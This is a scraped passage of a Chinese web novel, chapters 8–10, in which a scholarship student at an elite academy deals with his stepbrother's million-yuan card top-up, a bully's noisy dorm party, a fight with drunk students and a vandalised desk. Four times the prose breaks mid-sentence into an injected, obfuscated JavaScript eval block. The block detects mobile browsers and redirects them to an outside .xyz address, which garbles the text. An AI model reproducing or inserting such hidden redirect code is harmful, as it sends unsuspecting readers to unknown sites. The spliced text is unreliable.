“我们这些D等级的学生住在五楼以下,上面的是BC等级的宿舍。不过他们会坐专门的电梯上去,而且他们也有专门的活动区在六到八楼,一般是碰不到他们的。” 贺衍和马英帆交换了联系方式,加了微讯。贺衍的房间在五楼,马英帆的房间在四楼。 “那我先走啦,”马英帆在四楼下了电梯,跟贺衍挥了挥手,“明天上课见。” 电梯到了五楼,贺衍拉着行李箱走在过道里。大部分D等级的学生都住在三四两层,五楼住的人不多。 501在五楼北,贺衍刚用钥匙打开房门。大约是二十平米的房间,单人床,书桌,独卫,电视,甚至还有可加热的饮水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457207|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 设备。崭新的被褥放在床铺上,鹅绒真丝的面料;书桌上是圣洛莱索高三年级需要用到的课本。 圣洛莱索最差的宿舍都比罗河县的某些高级宾馆强。 联邦贫富差距具现化不止在这一处,从略阿州到首都的这一路上,贺衍最近已经见太多了。 他走到书桌前坐下,拿出笔翻开了课本,在课本上写下自己的名字,翻开预习起来。 字如其人。贺衍的笔锋犀利,如剑出鞘。 时间不知不觉来到了十二点半,贺衍揉了揉肚子,饿了。 他点开刚才在圣罗莱斯论坛里下载的学院专属地图app,搜索了一下餐厅。最近的餐厅距离这里有一点五公里,贺衍眼角抽了下,等他走到餐厅吃上饭,人可能已经饿死了。 贺衍起身准备开门下楼。手机响了,来电人是贺壹。 贺衍挑了下眉,接通了电话。 “贺衍少爷,您现在进到学院里了吗?圣洛莱索的人刚才告诉我,他们没有在门外找到您。” 刚才?贺衍重新看了眼时间,距离他上一通电话,已经过去了有一个小时了。贺壹作为贺忠载的贴身管家,效率能有这么低。贺衍无声笑了下,倒没有多说什么,“嗯,已经进来了。” 贺壹:“那您还有其他问题吗?” 贺衍眼睛微眯,唇角微勾,贺忠载想让他和裴屷一班,近水楼台先得月。不过也不知道这学院里是谁在从中作梗,没能让贺忠载如意。贺衍自然不打算告诉这位贺壹管家这件事。 贺衍指尖夹着圣罗莱斯的学生卡,“贺壹管家,请往我的学生卡里充一些钱。我很饿,想吃午饭,十分钟内能到账吗。” 贺壹从来没听过这种直白的要钱理由,“当然,贺衍少爷。” 贺氏集团大楼,顶层。 贺琚自从十六岁后,就已经在贺忠载的默许下接手了贺家的一部分业务。本来他今天是要和贺衍一起去上学的。 但贺忠载昨晚突然宣布他要去姆扎州和俞杉风投谈投资,非得让自己去公司坐镇。 既然不能一起去,那只好给他亲爱的哥哥找一点小乐子了。贺琚无聊地托着下巴,他对公司什么的真是一点兴趣都没有。 贺忠载明明早知道自己不是他的亲生儿子了,居然还一如既往地对待自己。一个无利不早起的人,莫非是自己身上还有什么利益没挖出来?贺琚深黑色的瞳孔里没有一点光,看着有点吓人。 电话被挂断后,贺壹敲了敲门,“少爷,已经打完电话了。” 门开了,贺琚眸中已然满是亮色,他轻笑着抬眼,“哥哥有说什么吗?” 贺壹沉默了一秒,如实转达了贺衍的话,“贺衍少爷说,他学生卡里没钱,他饿了。” 贺琚勾起唇角,眸中流光转动,没钱嘛?他可以借啊。 五分钟后,已经绑定学生卡的手机收到了一条充值短信,[贺衍同学,您的学生卡充值金额为1000000元,目前余额1000000元] 贺衍眨了眨眼睛,一二三……六个零,一百万?!! 8. 第 8 章 贺衍数了一遍短信上的数字,登录圣洛莱索的账户再次确认了一遍。一百万元,的确没错。 不,不对,贺忠载和自己有过交易,一百万这种数目,对面不是贺忠载。 贺衍神色变得冷静起来。除了贺琚,他想不到还会有谁会干这种事情了。 贺衍把手机放到书桌上,沉心静气,重新翻开了课本。 现在,就看他们两个谁先等不及了。 贺氏集团。 贺琚拨弄着桌面上贺壹的手机,翘首以待贺衍的电话打过来。 贺忠载不可能会打那么一大笔钱给贺衍,所以他亲爱的哥哥肯定清楚,这笔钱不同寻常。 五分钟,十分钟,十五分钟,二十—— 贺壹咽了口唾沫,屏住呼吸,莫名感觉空气有点压抑,他悄悄抬头看了一眼贺琚。少爷还是那副微笑的表情,唇角的弧度和刚才没有一丝一毫的变化。 应该是自己的错觉,贺壹重新垂下眼,候在一旁。 贺琚手指有规律地轻叩着桌面,节奏从慢到快,越来越没有规律。他拿着手机的手微微缩紧,心愈发燥热,对,就是这样,意料之外才会有意思。 贺琚唇角的弧度变大,瞳孔微微颤抖,但他的语气却很平静,甚至平静得有些诡异,“贺壹,给哥哥打个电话,告诉他钱转错了,然后把电话给我。对了,不要把这件事告诉父亲。” 这是独属他的游戏。 贺壹头皮骤然发麻,“是,少爷。” 圣洛莱索学院,圣萨尔公寓。 手机在桌面上发出微微的振动声,贺衍瞥了眼来电显示,贺壹的电话。 看来是对面先坐不住了。 贺衍唇角上扬,在电话即将自动挂断的前一秒,接通了。 贺壹转述完,电话那头就换人了。 贺琚挥挥手示意贺壹离开,等门关上之后,他才开口:“哥哥,是我。爸爸今天外出工作了。你也知道,他工作的时候一向不喜欢被别人打扰。所以贺壹就把哥哥没钱吃饭的消息告诉我了。” 贺衍挑了挑眉,他倒要看看这次贺琚要跟自己演什么戏。 “所以今天那笔钱,是我打给哥哥的。但可能是我当时关心则乱,不小心多输了几个零。” 贺衍本来听贺琚在这里胡扯着还挺有意思的,忽然眉心一跳,有种不好的预感。 “那笔钱本来有一部分是要给我自己的学生卡充值的,但是全都打给哥哥了,我就没钱吃——” 贺衍打断了他说话,“我会找人把钱退回去。还有,我说过了别叫我哥哥,我听着烦。” “可是,哥哥肯定退不了啊。”贺琚听到贺衍不耐烦的语气,不仅没生气,声音反而更加温柔了,仿佛羽毛在脸颊上轻轻拂过,有点痒痒的。 贺琚语调变沉,莫名危险起来,“还是说,哥哥你打算把这笔钱当作是我借给你的吗?” 贺琚的声音又变得欢快起来,“其实也不是不可以啦,亲兄弟明算账,更何况我和哥哥也没有血缘关系。我要的利息也不高,还给哥哥按单利算,百分之一就好啦,每天百分之一哦?” 贺琚的眼珠愈发漆黑,像墨一样流动,雀跃的声线勾人心弦,“哥哥,我对你很好吧。” 好个屁,贺衍按揉着太阳穴,捏了捏眉心,“你什么意思,直说吧。” 贺琚笑起来,有些埋怨地说道:“怎么能这么说话呢。我只是想着,只要后面我们一起吃饭,这个问题不就迎刃而解了吗?” 贺衍敛眸,睫毛忽闪。 今天马英帆的言辞之间对贺琚的喜爱崇拜可不作假。 贺衍不难想象贺琚在圣洛莱索到底有多受欢迎,和贺琚一起吃饭,那就意味着把自己放在聚光灯下,他可没这种打算。 “哥哥,我的‘病’过几天就好了,到时候哥哥一定要和我一起吃饭,不然我就只能饿肚子了。而且一起吃饭的话,哥哥就不用还我钱了,还能够培养我们的兄弟感——” 一堆废话,那他希望贺琚的病最好永远别好,贺衍面无表情地挂断了电话。 这是一百万又不是一百,贺琚嘴里能有真话?他不信圣洛莱索不退。贺衍把钥匙装兜里,关上门离开房间。 圣萨尔公寓的摆渡车一般工作的时间段集中在早中晚三个时间,错过之后就只能凭运气。而诺布莱斯别墅区则为其中居住的紫钻和红钻等级的每名学生都配备了专人专车,随时待命。 现在已经是一点多了,马上就要过饭点。贺衍下楼,中午最后一趟的摆渡车刚好路过。 一餐厅有三层楼,餐厅的装修和外面的五星酒店差不多,价格也没贺衍想象的贵,一顿饭均价三十左右。 贺衍这顿饭的钱花得心安理得,权当贺琚给自己的精神损害赔偿了。 吃完饭,贺衍跟着地图走到德伦丘斯,今天是刚开学,德伦丘斯里面没几个学生。 学生教务处就在这里的六楼。 六楼学生教务处。贺衍看了眼门上的标牌,上班时间是下午两点半到五点。 距离下午的上班时间还有十五分钟左右,贺衍靠在窗户边上,俯瞰着圣洛莱索。 从这里看过去,刚好能看到圣洛莱索学院的大门。寸金寸土的首都,圣洛莱索学院占地六千余亩,在校生总人数却不过堪堪一千人。 下午的上班时间到了,只是学生教务处的大门依旧紧闭。贺衍靠墙站着,继续等待,又过了二十分钟,还是没人来。贺衍再次确认了一遍,今天的确有人上班。 三点出头,教务处的大门从里面被人缓缓打开。睡了个好觉的工作人员伸了个懒腰,哈欠刚打了一半就咽了回去,门口怎么站了个人,平常这时间哪里有人来啊。 他眯着眼看了眼贺衍胸前的徽章,还好,灰色的,值班人员松了一口气,“同学,你来这里是要?” 贺衍逆光站在门外,面无表情地看着面容红润睡眼惺忪的值班人员,这位值班人员的胸牌上还写着三个大字:贾敬业。 名字还真配,贺衍唇角微抽,“学生卡的钱充多了,我要来退钱。” “这个啊,把学生卡给我。”贾敬业心里吐槽,不愧是特优生,开学第一天充错钱就着急忙慌地来退,能有多少? 学生卡插入卡槽,机器发出滴的一声,屏幕上显示出学生卡余额信息,贾敬业眼睛瞬间睁大,九十九万九千九百六十六? 一个特优生有这么多钱?贾敬业擦了擦自己的眼睛,还是这个数。 贾敬业立刻更加鄙夷起来,啧,那估计这家伙也不是特优生,应该是花大价钱特意进来攀龙附凤,巴结那些少爷小姐的。 贺衍敲了敲玻璃,“能退吗?全退了。” 贾敬业点了点头,“需要提供一下充值的银行卡账号。” 贺衍眉头蹙起来,“不能原路直接退回去吗?” 贾敬业假笑着说道:“实在抱歉,没有账号就没办法向上面报备,财务审批通过不了。” 圣洛莱索学院,诺布莱斯别墅区。 方盛寒面色阴沉地坐在沙发上,脑海里又浮现贺衍那双冰冷的没有任何温度的眼睛,那个卑劣的私生子! 方盛寒眼底冒火,他拨通了号码,“喂,上次我说的那个事,今天晚上就开始行动。” 堵在胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457208|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口的闷气渐渐散去,方盛寒嗤笑出声,他本来还没打算这么早就开始整人。但是那个叫贺衍的家伙,实在太让人生气了。 不仅不给自己好脸色,居然还欺负贺琚让他生病了。 方家是圣洛莱索的理事成员之一,方盛寒作为方家的独子,自然也拥有不小的权力。 贺衍一开始是被分到了一班,但裴屷那家伙也在一班,要是真把贺衍放裴屷眼皮底下,他还怎么给贺琚出气。 方盛寒让人改了贺衍的入学信息。 既然是从略阿洲那种穷地方出来的贱民,就别想着靠私生子的身份一步登天。 要是放在以前,他是绝对不敢这么做的,现在嘛,一朝天子一朝臣,贺家站错了队,他们方家可没有。 天色暗沉,乌云遍布,已经是晚上九点多了,贺衍躺在床上,盯着天花板上的灯。 半球状的灯散发出暖黄色的光,贺衍缓缓眨眼,视网膜上留下来一抹亮色的圆盘光影。 奶奶不知道现在的状况怎么样,贺忠载早晚会知道他没分到一班,还有贺琚故意打到卡里的钱…… 贺衍伸手放在眼前挡住灯光——萨卡州是贺氏集团的发源地,贺家的权力在这里是最大的。要是他想带着奶奶离开贺家的挟制,就要离得远一点。姆扎州是联邦第二大州,也是贺氏集团旗下的子公司最少的地方。 砰砰砰,哒哒哒,咔咔咔咔—— 贺衍的思绪再次打断,已经一个小时了,楼上的那群人还没消停。 贺衍双唇抿紧,怪不得马英帆说五楼住的人少,估计就是因为这个原因。 十点多,声音停了。 终于消停了,贺衍打了个哈欠,揉了揉自己被震得发麻的耳朵,再这样下去他都要精神衰弱了。还好这群人还知道大晚上不能扰民。 半夜十二点,咚咚咚嘭嘭嘭的声音再次从天花板传过来,还伴随着电子乐器敲打的声响,像是在开什么狂欢派对。 贺衍脑子发胀,睁开了眼,眼底布满血丝。几乎没有丝毫犹豫,他穿上衣服打开门就往外走。 要想进入圣萨尔公寓六楼以上的楼层,需要拥有C级以上等级的学生卡,或者—— 贺衍走到一楼,晚上值班的宿管是一名三十多岁发福的中年男性,叫鲍里斯。 此时他正坐在值班室透明的玻璃窗后面,专心致志地玩着游戏,手指在手机屏幕上噼里啪啦地点击着,神情专注,完全没有分给贺衍半点视线。 贺衍敲了敲他那侧的玻璃,“请问,六楼的那些噪声——” 贺衍的话还没说完,鲍里斯就生气地把手机扔到桌面上,又输了,他不耐烦地打断贺衍,“我只负责你们这些灰老鼠,六楼以上的事我都不管。” 好烦,本来就睡眠不够的贺衍眸中的戾气更浓了。 鲍里斯啧了下嘴,准备再次开一局游戏,值班室的门被贺衍打开了,他径直走进来,提起鲍里斯的领子,“把卡给我,我自己上去。” 鲍里斯破口大骂:“你这贱民,知道我什么身份吗,你居然敢——” 他要说不出话了,衣领勒住肥肉,气管被挤到一起,鲍里斯喘不过来气,五官狰狞,脸皱到一起。 他伸出手指了指自己的口袋,“卡,电梯卡在这里!咳,咳咳——” 贺衍抽走,径直往电梯方向走去。 [不可以,你不可以去。你这样做不对,剧情不是这样的!!!] 啊,真是烦躁。什么鬼的声音,果然睡不好就是容易出现幻听。 贺衍扭了扭脖子,活动了下手腕,刷卡进入电梯,毫不犹豫地按下了六楼的按钮。 9. 第 9 章 圣赛尔公寓六楼北。 这是一间小型酒吧,中间还有一个供乐队演出的舞台,霓虹灯光炫酷的光效不断变换,闪烁、扫射着整个房间。大屏幕上播放着摇滚乐的旋律,五六个青年在蹦迪,桌面上放着一堆空了的酒瓶。 其中一个人把自己摔到沙发上,“真TM累死我了,早知道方哥这计划实施这么早,我就去买个震楼器了。” “这个新转学来的怎么惹到方少了。方少可是圈里出了名的混世魔王,被盯上了可不好受。我记得去年不是有个富二代就被逼转学了。” “谁知道,听说还是个特优生。行了,别休息了,赶紧动起来。” 靠门最近的蹦迪棕发男生摇晃着脑袋,他凑近门口,“不是,谁在敲门啊,上面三层都没人住,这个点,咱们也影响不到九楼上面的吧。” 他边说边打开了,“谁啊?” 门外空无一人,这人奇怪地嘟囔了一句。他伸出头往外看了看,结果身子刚一前倾,整个人就被拽了出去,提到了空中。 他双腿挣扎着,吓得酒意都没了。棕毛下意识以为能上六楼的都是和他同阶层或者比他高的人,因此直接就开始道歉:“对不起对不起,别打我,都是方少让我干的,兄弟行行好。” 贺衍有些无语,他本来也没想真打,但他也是真没想到这人会这么耸。 贺衍把他摔到地上,垂下眼看着他,“方少?哪个方少?” “当然是方盛寒方少爷啊。”坐在地上的棕发男生颤颤巍巍地开口,奇怪,圣洛莱索的学生哪个不知道方盛寒。 贺衍眼神变冷,看来还真是有人故意找自己麻烦的,方盛寒,他记住这个名字了。 开学第一天就遇到这么多麻烦事,真是和这里犯冲。 棕发男偷偷往上瞥了一眼,眼前的人穿着淡青色的睡衣,一脸冷漠,那张脸看起来又欲又野,但神色桀骜,让人感觉很不好惹。 就是总感觉在哪里见过,有点眼熟。 “我艹,你谁啊,打我兄弟——” 屋内的一个红发卷毛眼神朦胧地看着敞开的大门,他摇晃着步子,全身也是一股酒味,醉醺醺地挥拳向贺衍砸过去。 贺衍侧身一躲,拽住他的手腕往后一折,把他抵在了墙上,“又来一个。” [别别别动手,千万别动手,剧情里没这段,你现在赶紧回宿舍还来得及] 贺衍烦躁地摇了摇头,又出现幻听了,果然睡不好身体就是容易出毛病。 “痛痛痛痛痛——大哥松手松手,好疼——” 贺衍松开红发卷毛,“你们吵到我了,进去告诉里面的人,接下来给我安静点,别再打扰人睡觉。” 红发卷毛一溜烟跑进去,然后破口大骂,“艹你奶奶的,兄弟们,给我上,外面有个鳖崽子来找事。” 贺衍扭了扭脖子,眼神认真起来,他不是说了,他上来没想打架。 五分钟后,冲出来的人全都乖乖躺倒地上,捂着肚子哀嚎。 贺衍扯了下嘴角,心下无语,怎么全是醉醺醺的酒鬼,杀伤力还不如以前街边的一个混混。 最开始被打倒的那个棕毛突然冒出来一句话,“你敢打我们,就不怕被方盛寒报复吗。” 是啊,贺衍也想知道,他和那个方盛寒有什么怨什么仇,开学第一天就找他麻烦。那个方盛寒,就不怕自己去报复他吗? 贺衍垂眼看着脚下的一群醉汉,警告道:“你们安静一点,我不想被吵醒再来打你们一顿。” 贺衍的脚步逐渐走远,在地上七歪八扭躺着的几个人你看看我,我看看你,沉默了。 其中被打了两顿,被收拾得最惨的红毛眼神呆滞地看着头顶的吊灯,平日和煦的灯光现在刺眼地让人想流泪,他身上好疼,“咱们还弄吗?” “别了吧,要是再吵到刚才那个暴力男,不还得挨一顿打。而且咱们也按方少的意思——” “老子想起来那个人是谁了!”棕毛一下子激动地站起来,“他就是那个贺衍,楼下501那个。我一直以为他是楼上的,觉得眼熟是眼熟就是没往那方面考虑。我就说咱们吵不到九楼上面的学生。” 另一个人啐了一口,暗骂道:“谁想得到那个特优生这么胆大,谁给他的卡,他是怎么上来的!” 红毛又开口了,声音凄凉,“那咱们还弄吗?” 一楼值班室,鲍里斯恶狠狠地诅咒着刚才那个该死的贱民,他一定要被上面那群少爷狠狠收拾一顿,鲍里斯牙齿紧咬,发出咔哧咔哧的声音,不然—— 玻璃门又被敲响了。 鲍里斯吓得一个激灵,他猛地抬头,僵住了。这人怎么这么快就下来了,他眼睛上下左右转,不死心地想要找到贺衍被揍过的痕迹,但是一无所获。 “物归原主,谢谢你的电梯卡。” 冷淡但不失礼貌的声音在鲍里斯耳朵里回旋,鬼他娘的有礼貌,鲍里斯僵硬着身体,目送贺衍离开一楼大厅。 五楼北501宿舍。 贺衍鼻头微微耸动,他拎起睡衣,眼里划过一丝嫌弃,沾上了一股酒味,真难闻。 他脱了上衣扔到一旁,劲瘦的腰身上腹肌线条分明,人鱼线沿着腹股沟往下延伸,引人遐想。 只可惜那张脸上的表情太冷。 贺衍皱着眉,去浴室快速冲了个澡。 现在是凌晨一点,万物俱静,楼上也终于变得安静起来。明天还要早起,贺衍起身关灯,开始酝酿睡意。希望那几个醉鬼听劝一点,别再发出噪音。 屋外的蝉有规律地叫着,贺衍听着听着睡着了。 发光的书又一次出现在了贺衍的梦中,梦境的碎片再次融合汇聚,用力撞进贺衍的识海中。他想起来了,那个让他遭受十倍精神污染的噩梦。 贺衍额前冒汗,头疼欲裂,他用力按压太阳穴,但是大脑那种肿胀地快要爆炸的压迫感始终没有缓解,心脏也不受控制地乱跳,仿佛要跳出胸腔。 贺衍呼吸愈发急促,濒临窒息的前一秒,贺衍猛地睁开眼。 月光透过纱窗,微弱的光,宿舍内的一切只有大致的轮廓。 贺衍起身打开灯,给自己倒了一杯水,静坐在桌前。 那个梦,真的只是梦吗? 窗外淅淅沥沥地下起了小雨,天快亮的时候雨停了,空气里难得有了几分凉意。 圣洛莱索学院第一节的上课时间是早上八点半。 贺衍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457209|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提着书包走出圣赛尔公寓,昨晚他没有睡好,眼下泛着淡淡的乌青。 值班的人还是鲍里斯,他的换班时间是在早上八点半。 这么早就有学生出来了?鲍里斯瞥了一眼,表情立刻僵在了脸上,他低下头,下意识摸了摸口袋里的电梯卡。 直到贺衍走出圣赛尔公寓,他才把头抬起来。 鲍里斯恶狠狠地盯着贺衍的背影,表情也变得越来越狰狞,这个该死的贱民,以后有他好受的。 圣洛莱索三年级的学生大约二百七十个人。教学班级有七个。一班只有三十个人,剩下的班级平均每班四十人左右。 班级划分综合参照家世和学生成绩,两者权重有所不同,一般是七三分。每个学期都会根据上个学期末的成绩重新分班,开学第一天,学生的座位不固定。特优生主要分布在DEF三班。 四班教室在一楼靠东。 贺衍到教室时是七点四十,里面只有零星两三个学生,昨天见过的马英帆还没来。 教室里有四十张桌椅,五列八排。 贺衍找到靠窗的位置,坐到了那里,他打了个哈欠,放下书包,趴在桌子上就开始补觉。 上午八点,红毛捂着肚子慢吞吞地走进教室,一眼就看见了趴在桌子上睡觉的贺衍。红毛觉得肚子更疼了,他找到距离贺衍最远的角落,扶着桌子慢慢坐下。 八点二十五,棕毛打了个哈欠,看了看教室的空位,只剩下第一排还有位置了。 棕毛啧了一声,他走到左边最后一排,语气凶恶,“起开,我要做这里。” 胸前佩戴着灰色徽章的男生立刻抱着书离开,棕毛满意地坐了下去,他不爽地看着前面趴着睡觉的男生,用力踢了一下他的凳子,昨天晚上他一整晚都没睡好,这家伙凭什么睡这么香,“睡什么睡!” 在最右边角落的红毛一脸惊悚地看着棕毛的动作,这家伙疯了!? 贺衍身子摇晃了一下,抬起头露出了整张脸。棕毛愣住了,他低下头掐着嗓子道歉,立刻拿起书包又找人换了座位。 贺衍打了个哈欠,没管后面的动静,又趴那里睡着了。 马英帆睡过了头,八点二十九分极限赶到教室,给他剩下的只有一张桌子,正对着讲台的第一排正中间。 上课铃响。 讲台上,三十岁就已经秃头的班主任正在自我介绍:“我叫杰里米·穆尼,是你们这个学年的班主任,也是你们以后的数学老师。” 贺衍已经把数学课本翻完了。圣洛莱索学院所讲授的数学涉及大学高数,不过贺衍高二的时候自学过一部分,觉得难度还好。 四班一半以上的学生都是特优生,学习氛围比其他班好上不少。第一节下课,马英帆跑过来和贺衍说话,约着中午一起吃饭。 角落里的红毛和棕毛看着两人窃窃私语。 第二节的课间有三十分钟。 贺衍从洗手间回来,发现自己的书全都不见了,位置上也是一团脏乱。 红色的记号笔在桌面上留下了一个鲜红的眼睛,书桌和椅子上沾着红色的不知名液体,散发着淡淡的腥臭味。那双眼睛,仿佛在流血一样。 和梦里一模一样。 10. 第 10 章 贺衍神清恍惚了一下。 他知道梦境的具体走向,但更加具体的细节却全然模糊,他知道开学第一天会有不好的事情发生。可在看到凌乱的桌面那一刹那,他才想起来具体的细节。 但梦里自己的那个结局,却清晰到诡异。联邦监狱冰冷的单人床,狱警的刻意刁难,还有最后一刻在电击椅上浑身抽搐的自己—— 贺衍敛眸,睫毛像蝴蝶的羽翼般轻颤,一次的巧合是巧合,两次的巧合也可以是巧合,但如果每次的巧合都能在现实中对应。 贺衍抿唇,他没有选择梦里的最后一排,但是最后的结果,依旧和梦里一样。贺衍眼睛微微眯起,紧盯着被弄得一团糟的座位。 贺衍扫过教室里的监控摄像头,眉心轻动,眉宇之间满是冷意。 如果那个荒诞到令人发笑的梦是真的,那这个时间段的监控会“恰好”坏了,而且他的书也应该被扔到了外面的人工湖里。 他环顾四周,语气平静,“请问,有人知道我的书在哪吗?” 大课间待在班里的人不在少数,看到的人肯定也不少。但没有人回答他,甚至刻意避开了贺衍的视线。 圣洛莱索学院内部论坛,有一条帖子高高挂起:[新的整人游戏又开始了,要下注吗,赌这次的目标能坚持多久?] 贺衍的入学照片被挂在这条帖子下面,还带着一句温馨提示:[不要和他一起哦,不然目标就不止他一个人了] 匿名的论坛放大了人的恶意,妄加揣测的各种污言秽语不加掩饰,帖子下面很快就盖起高楼。 红毛站着教室外面不敢进去,生怕被贺衍误以为是自己干了这事再被揍一顿。 他偷偷往里面瞥了一眼,有些幸灾乐祸地笑出了声,真特么解气。昨天方哥吩咐找他们的行动不过是小打小闹,不过看今天这情况,方哥是真动真格了。 马英帆也刚从外面回来,他避开后门外站着的红毛,从前门进入班级。只是贺衍怎么站在那里,他定睛一看瞳孔猛缩,下意识屏住呼吸,眼里全是恐惧。 马英帆深呼吸一口气,走出教室找到一个隐蔽的角落,给贺衍发了条消息。 那个画着红色眼睛的桌子,他原来在论坛里看见过相似的照片。当时被整的那个人是家境还算不错的萨卡州富二代,在圣洛莱索是B级的学生,但不到一个月,那个人就精神崩溃的退学了。 带头霸凌那个男生的人是A级的学生,圣洛莱索出了名的恶霸。不要惹方盛寒,是大部分圣洛莱索学生的共识。 方盛寒和贺琚几乎一样出名,但却是完全是两个相反方向的出名。 马英帆点开校内论坛,关于整人游戏的那条已经变成Hot帖子牢牢挂在论坛首页。 贺衍怎么会被他给盯上,马英帆牙齿发颤:[贺衍,要整你的人是是A级的学生。很抱歉,但是我不敢得罪他,中午咱们就别一起吃饭了。] 马英帆甚至连方盛寒的名字都不敢发过去。 他缩着脑袋正准备悄悄坐回去,眼前突然出现了一片阴影,“喂,小老鼠,你拿着手机在发什么呢。” 马英帆的脸色唰一下变白。 红发卷毛挡住马英帆的路,笑得有些古怪,“我记得你上一节课间还和贺衍说话了,你们两个关系不错,对吧?” 马英帆的腿开始发抖,手机啪一下地掉在了地上。 红毛拾起手机正准备一看究竟,一双修长的手从他手里拿走手机,骨节那处还泛着冷白。 “艹你——”红发卷毛正要发怒,嘴边地脏话还没说出口就被他强行咽了下去。 贺衍把手机递给马英帆,示意他先回教室。 贺衍忽然笑了,眸中好像布满星碎,他弯腰低头,凑近盯着红毛的眼睛,轻声说道:“如果想知道谁和我关系好,直接问我不就好了,那么麻烦干什么?” 红毛动也不敢动,腿也开始抖起来,比刚才的马英帆更甚。他昨晚真的是被打怕了:“大哥大哥,您桌子那个不是我干的啊,我就出去转了一圈回来就成这样了。不信咱们去看监控,真的不是我。” 贺衍拍了拍他的脑袋,“我知道不是你,但下节课我坐哪里?” 红毛咽了口唾沫,艰难地开口,“我现在就去给您把那些颜料全洗了,您先坐我的桌子,您坐我那里。” 红毛走进教室,顶着众人诧异的目光,搬走了贺衍的桌椅。 贺衍走到一楼保安室,叩门,“能看今天的监控吗?” 值班保安点了点头,直接就同意了,“你要看什么时间段的。” “从第二节下课开始。” 保安挠了挠脑袋,“这个,这个看不了啊。第二节上课的时候一楼东的监控突然黑了一大片,维修工说是短路了,他现在正在修呢。” 贺衍深吸了一口气,道了声谢,转头离开了,步伐有些沉重。 上午的最后两节课,红毛没了人影,在红毛前面坐着的棕毛也消失不见了。 整个D班,安静到连根针掉下来都能听得清清楚楚,甚至连呼吸都是小心翼翼。 十二点,下课铃声响起,班里的学生几乎在铃响的瞬间就冲出了教室,没有人敢在贺衍身边停留。 贺衍坐在椅子上没有动作,大概过了好一会儿,他才掀起眼皮,空无一人的教室,只有时钟还在嘀嗒嘀嗒地响着。 人工湖在德伦丘斯附近,正好在二餐厅和德伦丘斯中间的路程上。摆渡车不快不慢,往北边行驶了一公里,到达人工湖。人工湖的面积很大,碧绿的湖面,湖边绿柳垂堤,上面偶尔掠过几只飞鸟,看不出人工建造的痕迹,风景宜人。 湖边缘的水很浅,只有十厘米不到。贺衍走到湖边,一眼就看到了已经全然湿透的课本沉在水底,书本被人刻意用画笔涂抹,上面的墨迹早已晕染,面目全非。 贺衍弯腰把这些书从水中捞起来,放在一旁的亭子下。他的眼神没了焦距,不远处的湖面起雾了,今天是阴天,这些课本今天大概不会干了。 刚才的摆渡车再次经过这里,司机看到贺衍一个人还在那里发呆,问了句:“学生仔,你不去吃饭吗?” 啊,的确,还得去吃饭。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457210|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贺衍坐上了这辆车,摆渡车继续往北行驶了一公里,经过了诺布莱斯区。诺布莱斯区是别墅群,住着S级和A级的学生,专门为这两个阶级服务的餐厅也在其中。 这些别墅的建筑风格独特,却又与圣罗莱斯的风格相得益彰。每一栋别墅都有自己独特的外观设计,不仅有复古欧式的洛可可风格,还有极尽雅致的亭台楼阁建筑,让人一眼就能想到姆扎州,极具古典美学。 很快,摆渡车就停下了,或许是看贺衍在发呆,司机还专门提醒了一句:“二餐厅到了。” 二餐厅从外面看就是一座华丽雕琢的小型城堡,餐厅整体的色调典雅别致,一进去就能闻到淡淡的木质香气。 木饰面板和大理石饰面板点缀其中,具有设计感的古典屏风,超高的空间尺寸,顶层的灯体在光线的照射下闪闪发光,水晶纯净如钻石般晶莹剔透照亮整个餐厅。 贺衍抬眸,看着头顶那些熠熠生辉的水晶灯,脑中第一时间冒出来的念头居然是,这么多灯,打扫起来得多麻烦。 二餐厅的价格最低也要一百元,因此几乎看不到D等级的特优生。 贺衍此时已经无心在意价格的问题了,他找到窗口人最少的那一家,随意点了一份。 距离他不远的两个男生,胸前的红钻徽章在水晶灯下折射出闪耀的光,这是两个A等级的学生。 黑发的那个男生嘴角噙着戏谑的笑,“诶,那个,坐咱们前面那个是不是就是论坛上的目标。不过和照片不太像啊,比照片好看多了。要是他得罪的不是方盛寒,我也不是不能庇佑他。” 